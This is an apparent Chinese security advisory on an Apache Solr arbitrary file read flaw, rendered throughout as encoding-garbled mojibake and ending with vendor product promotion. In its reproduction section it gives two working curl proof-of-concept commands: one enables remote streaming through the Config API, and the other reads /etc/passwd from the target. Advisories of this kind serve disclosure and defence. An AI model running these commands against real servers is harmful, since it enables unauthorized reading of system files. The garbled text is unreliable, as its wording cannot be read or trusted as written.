½üÈÕ£¬½ð²Ê»ãÍøÂ簲ȫӦ¼±ÍŶӼì²âµ½Apache Solr´æÔÚËÁÒâÎļþ¶ÁÈ¡·ì϶£¬¹¥»÷ÕßÄܹ»»ú¹Ø¶ñÒâµÄHTTPÒªÇ󣬶ÔÖ¸±ê·þÎñÆ÷ÉÏËÁÒâÎļþ½øÐжÁÈ¡¡£

Apache SolrÊÇÒ»¸ö¿ªÔ´ËÑË÷·þÎñÒýÇ棬Solr ʹÓà Java ˵»°¿ª·¢£¬ÖØÒª»ùÓÚ HTTP ºÍ Apache Lucene ʵÏÖ¡£Apace Solr¿í·ºÀûÓÃÓÚһЩ´óÐÍÃÅ»§ÍøÕ¾¡¢µç×ÓÉÌÎñÍøÕ¾µÈ¶¼±ØÒªÕ¾ÄÚËÑË÷Ö°Äܵij¡¾°£¬¶à²¿ÊðÓÚ¹«Ë¾ÄÚÍø£¬¹«ÍøʹÓÃÁ¿Ò²´ïµ½1Íò¶à¡£

Ó°ÏìÁìÓò
Apache SolrÈ«°æ±¾¡£

ÍþвµÈ¼¶
¸ß

POC״̬
µ±Ç°·ì϶POCÒѹ«¿ª

·ì϶עÃ÷

·ì϶ÀûÓñØÒªÁ½²½£¬Ê×ÏÈÀûÓÃConfig API´ò¿ªÄ¬ÈϹعصÄrequestDispatcher.requestParsers.enableRemoteStreaming¿ª¹Ø£¬¶øºó½øÐÐÎļþ¶ÁÈ¡¡£

ÖµÍ×ÌùÐĵÄÊÇ£¬Ä¬ÈÏÇé¿öÏÂrequestDispatcher.requestParsers.enableRemoteStreamingÊǹعØ£¬¹¥»÷Õß²¢²»ÄܽøÐÐËÁÒâÎļþ¶ÁÈ¡¡£ËùÒÔ¹Ù·½²¢²»ÒÔΪÕâÊÇÒ»¸ö·ì϶£¬µ«ÊÇ´Ó¹¥»÷Õ߽ǶÈÀ´ËµÄܹ»Í¨¹ýSolrÌṩµÄConfig APIÔ¶³Ì´ò¿ª´Ë¿ª¹Ø£¬¶øºó½øÐй¥»÷£¬ÇÒApache Solr³ö²ú»·¾³Ï´ó¶àά³ÖĬÈÏÅäÖ㬲¢ÎÞÉí·ÝУÑé¡£

·ì϶¸´ÏÖ

1.½Ó¼û Solr Admin ÖÎÀíÔ±Ò³Ãæ

 
2.»ñÈ¡coreµÄÐÅÏ¢

http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

3.Ñ¡È¡ÈçÏÂPOC£ºÅú¸ÄÅäÖÃ

curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'http://xxx.xxx.xxx.xxx:8983/solr/fd_20201221/config -H 'Content-type:application/json'

4. Ñ¡È¡ÈçÏÂpoc»ñÈ¡ÎļþÄÚÈÝ

curl "http://xxx.xxx.xxx.xxx:8983/solr/ fd_20201221/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd"

½¨¸´½¨Òé

Òò³§ÉÌ°µÊ¾Ôݲ»½¨¸´£¬½ð²Ê»ãÍøÂ簲ȫר¼Ò½¨ÒéÖ±½Ó½«solr·ÅÄÚÍø£¬ÒÔÃâÔì³ÉÎļþÐÅϢй¶¡£

²úÆ·½â¾ö¹æ»®

RG-IDPϵÁÐÈëÇÖ¼ì²â·ÀÓùϵͳ

RG-IDPϵÁÐÈëÇÖ¼ì²â·ÀÓùϵͳÊǽð²Ê»ãÍƳöµÄ½«Éî¶ÈÄÚÈݼì²â¡¢°²È«·À»¤¡¢ÉÏÍøÐÐΪÖÎÀíµÈ¼¼Êõ½áºÏµÄÈëÇÖ¼ì²â·ÀÓùϵͳÉ豸¡£Í¨¹ý¶ÔÍøÂçÖÐÉî²ã¹¥»÷ÐÐΪ½øÐÐÕýÈ·µÄ·ÖÎöÅжÏ£¬×Ô¶¯ÓÐЧµÄ±£»¤ÍøÂ簲ȫ¡£RG-IDPϵͳÈëÇÖ¼ì²â·ÀÓùϵͳÒÑÖ§³Ö¶Ô¸Ã·ì϶µÄ¼ì²â¡£

RG-WGϵÁÐWebGuardÀûÓñ£»¤ÏµÍ³

½ð²Ê»ãRG-WG WebGuardÀûÓñ£»¤ÏµÍ³£¬Í¨¹ý¶Ô½ø³öWeb·þÎñÆ÷µÄHTTP/HTTPSÁ÷Á¿ÓйØÄÚÈݵÄʵʱ³½Îö¼ì²â¡¢¹ýÂË£¬À´¾«È·Åж¨²¢×èÖ¹¸÷ÀàWebÀûÓÃÈëÇÖÐÐΪ£¬×è¶Ï¶ÔWeb·þÎñÆ÷µÄ¶ñÒâ½Ó¼ûÓë·¸·¨²Ù×÷¡£RG-WGϵÁÐWebGuardÀûÓñ£»¤ÏµÍ³ÒÑÖ§³Ö¶Ô¸Ã·ì϶µÄ¼ì²â¡£

ÍŶӽéÉÜ

½ð²Ê»ãÍøÂçCERT°²È«Ó¦¼±ÏìÓ¦ÍŶÓ£¬¸ú×Ù×îл¥ÁªÍøÍþвÊÂÎñ£¬Õë¶Ô×îа²È«·ì϶£¬APT¹¥»÷ÒÔ¼°½©Ê¬ÍøÂç¼Ò×å×öʵʱ¸ú×ٺͷÖÎö£»Îª²úÆ·¡¢¿Í»§Ìṩʵʱ¡¢ÓÐЧµÄ°²È«·À»¤Õ½ÊõÓë½â¾ö¹æ»®¡£

½ð²Ê»ã“ÍøÂç+°²È«”Ö÷ÕŽ«ÍøÂçÉ豸µÄ°²È«ÄÜÁ¦³ä·Ö²ûÑÍøÂçÉ豸¡¢°²È«É豸Ó밲ȫƽ̨ÖÇÄÜÁª¶¯£¬ÎÕ±ð°²È«¹Âµº£¬×é³ÉÕûÍøÁª¶¯µÄ°²È«±£ÏÕϵͳ£¬ÊµÏÖ·À»¤¡¢°²È«Ô¤²â¡¢·ÖÎöºÍÏìÓ¦µÈ°²È«ÎÊÌâ×Ô¶¯»¯È«Á÷³Ì¹Ø»·¡£

ÈçÄú±ØÒª½ð²Ê»ã°²È«£¬ÇëÁôÏÂÄúµÄÁªÏµ·½Ê½